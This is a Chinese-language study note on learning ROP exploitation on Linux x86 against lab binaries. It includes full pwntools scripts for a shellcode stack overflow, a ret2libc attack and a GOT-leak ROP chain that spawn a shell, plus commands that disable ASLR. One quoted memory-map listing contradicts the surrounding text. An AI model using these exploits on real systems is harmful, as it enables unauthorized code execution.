一步一步学ROP之linux x86 学习笔记

2018/03/13 22:15
阅读数 256

Control Flow Hijacking

ROP 全称 Return-oriented Programming

gcc –fno-stack-protector –z execstack –m32 –o level1 level1.c #关闭DEP和Stack Protector

su -s

echo 0 > /proc/sys/kernel/randomize_va_space #关闭ASLR


这个东西很好 pattern.py

./pattern.py create 150

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

python pattern.py offset xxxx

image

构造一个A*140+ret的字符串,然后让pc执行ret地址上的代码

生成shellcode


控制pc跳转到shellcode的地址上,那么有一个问题,gdb调试环境会影响buf在内存中的位置

开启core dump功能:

ulimit –c unlimited

sudo sh –c 'echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’

开启之后,当出现内存错误的时候,系统会生成一个core dump在tmp目录下。

溢出点位140个字节,再加上4个字节的rer地址,所以buffer地址为$esp – 144

然后gdb level /tmp/core.????

Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()

然后输入x/10s $eip –144

构造脚本

#!/usr/bin/env python
from pwn import *

p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0xffffd090

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload =  shellcode + 'A' * (140 - len(shellcode))   + p32(ret)

p.send(payload)

p.interactive()

Ret2libc 通过ret2lib绕过DEP 保护

我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]

那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

#总结一下 意思就是从libc.so中得到system函数以及/bin/sh字符串(ASLR 没开)

$gdb ./level2

(gdb)break main

(gdb) run

(gdb) print system (这么好用的吗)

$1 = {<text variable, no debug info>} 0xf7e52e70 <system>

(gdb) print __libc_start_main

$2 = {<text variable, no debug info>} 0xf7e2c9e0 <__libc_start_main>

(gdb) find 0xf7e2c9e0 ,+2200000,”/bin/sh” (从__libc_start_main的地方开始往下找)

很遗憾,我没有搜索到

贴一下脚本好了,学习一下姿势

#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

ROP -Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

开了ASLR保护之后,cat /proc/pid/maps,每次的地址都是不一样的

image

image这个图很好

根据之前学的,这个和got劫持有点相似。

objdump –d –M intel ./level3 >level3.txt 看调用函数 (IDA 也可以做到)

一个好的知识:

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。实际地址 = libc_base + offset

贴个脚本

#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部